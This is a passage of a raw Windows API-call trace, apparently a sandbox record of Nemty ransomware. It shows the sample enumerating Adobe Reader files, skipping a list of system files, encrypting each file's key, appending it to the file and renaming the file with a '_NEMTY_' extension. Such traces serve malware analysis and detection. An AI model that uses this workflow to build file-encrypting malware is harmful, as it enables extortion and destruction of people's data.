hHeap=0x4f90000) returned 1 [0215.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr_HR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hr_HR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hr_HR.txt", lpUsedDefaultChar=0x0) returned 30 [0215.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.800] Sleep (dwMilliseconds=0x5) [0215.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3444f110, dwHighDateTime=0x1d561e8)) [0215.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3444f110, dwHighDateTime=0x1d561e8)) [0215.808] GetLastError () returned 0x0 [0215.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.808] GetLastError () returned 0x0 [0215.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.809] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.809] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="8PNfFUsgsD0EUfPQ8EC5XsBZ/1bMrUxrjYWZjup63ivnX6AdxlBEOZj7f1HObjhT\r\n9ZbjDhr78a1vVhLciwoYOTX60UlCZFgyJ5r71zwymT6ZFxFE9bZq5ZLKk+CH16pp\r\nWTKxTyraI6yusTC4Wm7ie0QyEXBAK81tgnzvfJ70ZCQJWAS+euFBGBzlLbJp0ItQ\r\nJQVPPVleQUr3hn+OjjqvhDpV+gxtntmrTGOSZWS8LrCm+OdnVRmGEl3bc5dEd6iI\r\nLp3szNSdrrGXDnE5hwe0+SWCx0HyReL+GMRWI3dyNsMCYHNqY5+Rs17s0Vr1k2d0\r\nQbBLj2or2KEmIiJjJF9aQQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.809] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28200) returned 1 [0215.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e20) returned 0x6352c48 [0215.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.809] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e20, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e20, lpOverlapped=0x0) returned 1 [0215.812] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.812] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e20, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e20, lpOverlapped=0x0) returned 1 [0215.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.813] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e28 [0215.813] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.813] CloseHandle (hObject=0x2e8) returned 1 [0215.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.813] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.813] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt._nemty_kgobjgd_")) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.814] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.hu.txt", cAlternateFileName="DIB428~1.TXT")) returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2=".") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="..") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="...") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="windows") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="rsa") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="NTDETECT.COM") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="ntldr") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="MSDOS.SYS") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="IO.SYS") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="boot.ini") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="boot.ini") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="ntuser.dat") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="desktop.ini") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="CONFIG.SYS") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="RECYCLER") returned -1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.814] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="bootmgr") returned 1 [0215.815] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="programdata") returned -1 [0215.815] lstrcmpiW (lpString1="DisplayLanguageNames.hu.txt", lpString2="appdata") returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu.txt", lpUsedDefaultChar=0x0) returned 27 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu.txt", lpUsedDefaultChar=0x0) returned 27 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu.txt", lpUsedDefaultChar=0x0) returned 27 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu.txt", lpUsedDefaultChar=0x0) returned 27 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.815] Sleep (dwMilliseconds=0x5) [0215.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34475270, dwHighDateTime=0x1d561e8)) [0215.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34475270, dwHighDateTime=0x1d561e8)) [0215.824] GetLastError () returned 0x0 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.824] GetLastError () returned 0x0 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.824] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.824] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="ZXUptPEZUaB+NgvIoCZtTo198+cS8jk7M7kESTkDBp8vuqqOIJJ2SJRApUZSuc7X\r\nnEZ2s4Db+bGj5CNo8Qc2yZHQ9rzQDAtIQnUX1339/cSVOLPUyx7dY4a/gXDJ7F6d\r\nzOvFPT/b920Q0BxdNiRHt1noCICHbKiPfn8JwFoPCdOyOe0YK2RHH9jA2ZScCKFP\r\nOTJkIgekPfY7hYSPVFIo+JoxBcpFKrNAlViOndGbyJVEBcg7/X0w/FN6gVxl4juZ\r\n7shAj+IsXBUpFljn2mLX4YR7+GA9g5YEBafzA7DNQQU0i4tynqCZQBdA+Q3NPF7J\r\nWz04cIIpCxBuDgQJN/pqtg==\r\n", pcchString=0x653e5dc) returned 1 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.825] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28158) returned 1 [0215.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6df0) returned 0x6352c48 [0215.826] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.826] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6df0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6df0, lpOverlapped=0x0) returned 1 [0215.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.829] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6df0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6df0, lpOverlapped=0x0) returned 1 [0215.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dfe [0215.829] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.829] CloseHandle (hObject=0x2e8) returned 1 [0215.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt._nemty_kgobjgd_")) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x15, dwReserved1=0x4f90000, 